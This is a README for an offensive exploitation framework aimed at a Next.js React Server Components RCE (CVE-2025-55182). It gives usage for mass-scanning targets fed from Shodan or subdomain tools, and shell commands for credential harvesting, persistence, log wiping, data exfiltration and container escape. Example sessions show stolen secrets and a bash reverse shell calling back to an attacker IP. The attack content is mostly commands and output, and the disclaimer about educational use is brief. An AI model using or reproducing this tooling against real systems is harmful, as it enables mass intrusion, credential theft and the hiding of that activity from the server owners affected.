
R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.
Framework Avançado de Pós-Exploração para RCE em React Server Components do Next.js
Funcionalidades • Instalação • Uso • Comandos • Exemplos
R2S é um framework abrangente de exploração e pós-exploração direcionado à vulnerabilidade de React Server Components do Next.js (CVE-2025-55182). Fornece um shell interativo com funcionalidades avançadas para testes de penetração, incluindo transferência de arquivos, persistência, enumeração, verificações de escalonamento de privilégios e muito mais.
.env e arquivos de configuração# Python 3.6 ou superior
python3 --version
# Instalar dependências
pip3 install requests urllib3
# Clone ou baixe a ferramenta
cd r2s-main
# Tornar executável (opcional)
chmod +x r2s_enhanced.py
# Executar a ferramenta
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPÇÕES]
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Uma vez obtido acesso RCE, você entrará em um shell interativo com estes comandos:
upload <local_file> <remote_path> # Envia arquivo para o alvo
download <remote_file> <local_path> # Baixa arquivo do alvo
cd <diretório> # Muda o diretório de trabalho
pwd # Exibe o diretório de trabalho
enum # Enumeração completa do sistema
privesc # Verificações de escalonamento de privilégios
harvest # Coleta de credenciais
portscan <ip> # Varre portas da rede interna
memdump [pid] # Despeja memória do processo para segredos
lateral # Oportunidades de movimento lateral
escape # Vetores de escape de contêiner
exfil [tipo] # Exfiltra dados (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Testa múltiplos payloads de reverse shell
persist # Adiciona persistência básica
advpersist # Adiciona persistência avançada
stealth # Limpa logs e esconde rastros
save # Salva a sessão atual
help, ? # Mostra mensagem de ajuda
exit, quit # Sai do shell interativo
Execute qualquer comando do shell diretamente:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] Carregado 1 alvo. Iniciando varredura com 30 threads...
[*] Comando do Payload: id
[VULN] http://vulnerable-app.com >>> RCE SUCESSO
Saída: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Shell interativo RCE com estado iniciado. Digite 'help' para comandos.
[*] Funcionalidades avançadas: enum, privesc, persist, portscan, harvest, stealth
[*] Novas funcionalidades: memdump, lateral, escape, exfil, advpersist, reverse
[+] Servidor HTTP iniciado em 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Iniciando enumeração automatizada...
============================================================
[*] Informações do Sistema
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Usuário Atual
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Detecção de Contêiner
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Contêiner Docker detectado]
...
# Enviar um arquivo
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Enviando /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload bem-sucedido!
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# Baixar um arquivo
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Baixando /etc/passwd via HTTP...
[+] Download bem-sucedido! (1523 bytes)
Salvo em: ./passwd.txt
next-rce:/app$ harvest
[*] Coletando credenciais...
[*] Variáveis de Ambiente:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] Arquivos .env:
/app/.env
/app/.env.production
/var/www/.env.local
[*] Chaves SSH:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Iniciando tentativas de reverse shell para 192.168.1.100:4444
[!] Certifique-se de ter um listener em execução: nc -lvnp 4444
[*] Testando 25 payloads diferentes de reverse shell...
[1/25] Tentando Bash TCP... ✓ Executado
[?] Você recebeu uma conexão? (s/n/p para parar): s
[+] SUCESSO! Reverse shell estabelecido usando: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] Carregados 3 alvos. Iniciando varredura com 50 threads...
[VULN] http://app1.example.com >>> RCE SUCESSO
[VULN] http://app3.example.com >>> RCE SUCESSO
[*] Varredura concluída.
next-rce:/app$ privesc
[*] Verificando vetores de escalonamento de privilégios...
[*] Binários SUID:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Permissões Sudo:
O usuário node pode executar os seguintes comandos:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Socket Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Grupo Docker:
No grupo docker - EXPLORÁVEL!
...
next-rce:/app$ escape
[*] Verificando vetores de escape de contêiner...
[*] Tipo de Contêiner:
12:devices:/docker/a1b2c3d4e5f6
[*] Contêiner Privilegiado:
PRIVILEGIADO
[*] Socket Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Capacidades:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Capacidades completas - contêiner é privilegiado]
...
A ferramenta inclui mais de 25 payloads de reverse shell em várias linguagens e técnicas:
Detecta e extrai automaticamente credenciais de:
Identifica e analisa:
APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS
Esta ferramenta é fornecida apenas para fins educacionais e testes de penetração autorizados. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.
Requisitos para uso legal:
Detecção:
Next-Action incomunschild_process.execSync em logs do Next.jsMitigação:
Contribuições são bem-vindas! Por favor, garanta que todas as contribuições sejam para fins educacionais e de segurança defensiva.
G4rxd
Este projeto está licenciado apenas para fins educacionais e testes autorizados.
⚡ Feliz Hacking Ético! ⚡
Lembre-se: Com grandes poderes vêm grandes responsabilidades.
| Opção | Descrição | Padrão |
|---|
-u, --url | URL de alvo único | - |
-l, --list | Arquivo contendo lista de URLs | - |
-c, --cmd | Comando inicial a executar | id |
-t, --threads | Número de threads de varredura | 30 |
-p, --proxy | Proxy HTTP (ex.: http://127.0.0.1:8080) | - |
-v, --verbose | Habilitar saída detalhada | False |
--http-port | Porta do servidor HTTP para transferência de arquivos | 8000 |